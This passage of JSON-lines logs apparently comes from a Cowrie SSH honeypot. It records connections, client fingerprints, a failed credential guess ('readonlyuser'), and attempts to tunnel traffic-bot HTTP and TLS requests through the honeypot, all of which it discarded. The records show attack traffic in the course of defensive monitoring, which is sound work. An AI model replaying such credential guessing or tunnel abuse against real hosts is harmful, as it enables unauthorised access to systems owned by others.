{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:53.711202Z","src_ip":"91.92.40.36","session":"8b264858b317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:54.440894Z","src_ip":"62.133.62.83","session":"58dae15ffd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:54.914591Z","src_ip":"91.92.40.36","session":"8b264858b317","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:55.003520Z","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:55.085256Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/14F89 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KGIrSzNtOD9Sb0ovI1dTdQ%3D%3DoSWx%2FbpXfX%2BgbkmimbnouzCCpDjURby%2BCY%2Bai5xfIRi66lkGbTE7BCF73pK%2BbDmmXoEDGRyxZ%2FtXL3u1E0KZITlvGQGWRN6u2uZJnHDJDHUQ0YyQs8aYqxtHsMsYNnETdWKJcyB18JY%2Fw2D0S1nol07BqwiCWq%2FadFnTdwrNHF0ippffI2vwUV2byVyqSr9BbHEQlgY1jaQ1t5dIrf%2BdUqg9vqowEpmWRPur5TqAWYEas1Os6hILLIqzKLguZJRmgVxLOUUxM%2FQOVEj3k3ElyqeVedsd1QBHW%2FVzgA8%2FU6DVlbtJySTUiQQc6E%2FkyWKWWR%2Bjdp3vcFy%2BIXpu0gWbKS05z4KbWbFd13TN0Kt%2FV3d5M9mC%2Bc%2BLXqzuiZtaXKtkMJ%2FucO%2FkzVQ2r6I9Ml93ni6L1cvHYvMpBrQXFOMGls91upe%2FIM3qH%2FxXxPtQRz6IoVmNXJd07QouX7MSAfApfENfEHqBfw3EByj%2FO2DEDQ%2BBjgOBk0KbPkF0LZLNqUHgdO0Zs0HpAK75RtoSOYIzEB6DOWenJrky1M4F1g6kfDkBOx%2BeXkvJEeUPlCK9EnR9bH1%2BtQTMqnKpcp%2FJtfldPQGndULXCuOJVOhlOh7C6StNVNULY%2Fjc%2FdjYxMDFzJxqG4BGH3hABI5nS4S8ruh98JdgtN8qpEbg0HoRRk%2FGO4Vt%2Floro%2BLj%2BPfmZ0L63VJkA4YPRhqBiuYsftdKV1%2F70b3dM%2BJvkNdXbyz8iXCqzYWlX%2B0wvmNgpc4qTnuOCF57zhfE8kq0X82r1qmvohmhNGW3XfW8a%2Fa5Dd%2FTe1U5SO4c3XB6hXD6v1pecocEDwyWkxybWAzamWLFKP4DD8RYpA%2FqV2nqDzPHA86Tu%2B5fHDsWNy0AXmsjUUDFdX3rLY4k53Tqp8F%2BW1pnLzi3MzSrr545DRgcl9nEET7Uy49TVpK8pTtrjxScoDYtNNCrUJXFq0cz1RR1ea69c7Vy%2B8qR1TcP4ZiakZlJkdX7AUJLgH8R%2FjYBe29x5aY4PJzKjDMwwN%2B3lvLsT%2BWBxIlqDkDHLXgFexHE1I7KfbtNaFvCIU6epnyiqArcqR4sXQsHtuEg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/14F89 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KGIrSzNtOD9Sb0ovI1dTdQ%3D%3DoSWx%2FbpXfX%2BgbkmimbnouzCCpDjURby%2BCY%2Bai5xfIRi66lkGbTE7BCF73pK%2BbDmmXoEDGRyxZ%2FtXL3u1E0KZITlvGQGWRN6u2uZJnHDJDHUQ0YyQs8aYqxtHsMsYNnETdWKJcyB18JY%2Fw2D0S1nol07BqwiCWq%2FadFnTdwrNHF0ippffI2vwUV2byVyqSr9BbHEQlgY1jaQ1t5dIrf%2BdUqg9vqowEpmWRPur5TqAWYEas1Os6hILLIqzKLguZJRmgVxLOUUxM%2FQOVEj3k3ElyqeVedsd1QBHW%2FVzgA8%2FU6DVlbtJySTUiQQc6E%2FkyWKWWR%2Bjdp3vcFy%2BIXpu0gWbKS05z4KbWbFd13TN0Kt%2FV3d5M9mC%2Bc%2BLXqzuiZtaXKtkMJ%2FucO%2FkzVQ2r6I9Ml93ni6L1cvHYvMpBrQXFOMGls91upe%2FIM3qH%2FxXxPtQRz6IoVmNXJd07QouX7MSAfApfENfEHqBfw3EByj%2FO2DEDQ%2BBjgOBk0KbPkF0LZLNqUHgdO0Zs0HpAK75RtoSOYIzEB6DOWenJrky1M4F1g6kfDkBOx%2BeXkvJEeUPlCK9EnR9bH1%2BtQTMqnKpcp%2FJtfldPQGndULXCuOJVOhlOh7C6StNVNULY%2Fjc%2FdjYxMDFzJxqG4BGH3hABI5nS4S8ruh98JdgtN8qpEbg0HoRRk%2FGO4Vt%2Floro%2BLj%2BPfmZ0L63VJkA4YPRhqBiuYsftdKV1%2F70b3dM%2BJvkNdXbyz8iXCqzYWlX%2B0wvmNgpc4qTnuOCF57zhfE8kq0X82r1qmvohmhNGW3XfW8a%2Fa5Dd%2FTe1U5SO4c3XB6hXD6v1pecocEDwyWkxybWAzamWLFKP4DD8RYpA%2FqV2nqDzPHA86Tu%2B5fHDsWNy0AXmsjUUDFdX3rLY4k53Tqp8F%2BW1pnLzi3MzSrr545DRgcl9nEET7Uy49TVpK8pTtrjxScoDYtNNCrUJXFq0cz1RR1ea69c7Vy%2B8qR1TcP4ZiakZlJkdX7AUJLgH8R%2FjYBe29x5aY4PJzKjDMwwN%2B3lvLsT%2BWBxIlqDkDHLXgFexHE1I7KfbtNaFvCIU6epnyiqArcqR4sXQsHtuEg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:55.088542Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:55.515128Z","src_ip":"91.92.40.36","session":"482360e589bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:56.551114Z","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:56.607206Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x0e\\xa3Q\\xb79~\\x94Hu\\xe8\\x8b:\\xe3\\xb8\\xb5\\x1b\\xfa\\xe8c\\xff\\xeb\\xe1\\x1b\\x12\\x9a\\x81+!\\xb8kc \\x1cI\\x80<P \\xeb\\xc5*\\x1ey`\\x9b\\xf8\\xec`Te\\xae\\xc6\\x97k\\x9f\\xec\\xfb|=\\x9felzE\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xad\\x13\\xf1\\x7f\\xc8$\\x02f+$\\xb6\\xd0\\x8c\\xbc\\x9b\\x02\\x92\\xecI\\xc0\\xce\\x0c\\xba,\\xfaT\\xfd\\x9f\\x00\\x98j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x0e\\xa3Q\\xb79~\\x94Hu\\xe8\\x8b:\\xe3\\xb8\\xb5\\x1b\\xfa\\xe8c\\xff\\xeb\\xe1\\x1b\\x12\\x9a\\x81+!\\xb8kc \\x1cI\\x80<P \\xeb\\xc5*\\x1ey`\\x9b\\xf8\\xec`Te\\xae\\xc6\\x97k\\x9f\\xec\\xfb|=\\x9felzE\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xad\\x13\\xf1\\x7f\\xc8$\\x02f+$\\xb6\\xd0\\x8c\\xbc\\x9b\\x02\\x92\\xecI\\xc0\\xce\\x0c\\xba,\\xfaT\\xfd\\x9f\\x00\\x98j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:56.609965Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:56.970299Z","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:57.025867Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b-\\xe6\\xab\\xf3\\xa3\\xce\\xc2D\\x10\\xf8~\\xad\\xf7\\xe2\\xbc\\x8a\\x8e}B&9\\x00&\\xbf\\x9fd\\x99\\x99\\x08@\\x16 \\x1b\\x8b\\x98Y*\\x16\\xd1\\xe8\\xef\\x02\\xa6\\xd0`\\x1a^\\x97i\\xffk9\\xcen\\xe2>\\xf4\\xf9\\x84\\xc1\\x14p\\xe9u\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a/\\x88\\xbfD\\xc3\\xd2\\xe9\\xae=f\\xbf\\xf2\\x16f\\x92^X_D\\x99\\x0fA.\\xcaF\\xdd\\xec\\xc1\\xe7\\xe6H\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b-\\xe6\\xab\\xf3\\xa3\\xce\\xc2D\\x10\\xf8~\\xad\\xf7\\xe2\\xbc\\x8a\\x8e}B&9\\x00&\\xbf\\x9fd\\x99\\x99\\x08@\\x16 \\x1b\\x8b\\x98Y*\\x16\\xd1\\xe8\\xef\\x02\\xa6\\xd0`\\x1a^\\x97i\\xffk9\\xcen\\xe2>\\xf4\\xf9\\x84\\xc1\\x14p\\xe9u\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a/\\x88\\xbfD\\xc3\\xd2\\xe9\\xae=f\\xbf\\xf2\\x16f\\x92^X_D\\x99\\x0fA.\\xcaF\\xdd\\xec\\xc1\\xe7\\xe6H\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:57.028895Z","src_ip":"38.46.222.137","session":"ed28b732aa26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57516,"dst_ip":"10.17.0.5","dst_port":22,"session":"b362f7e99e7b","protocol":"ssh","message":"New connection: 91.92.40.36:57516 (10.17.0.5:22) [session: b362f7e99e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:00.099505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:01.029553Z","src_ip":"91.92.40.36","session":"b362f7e99e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"readonlyuser","password":"readonlyuser","message":"login attempt [readonlyuser/readonlyuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:15:01.928259Z","src_ip":"91.92.40.36","session":"8b264858b317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@o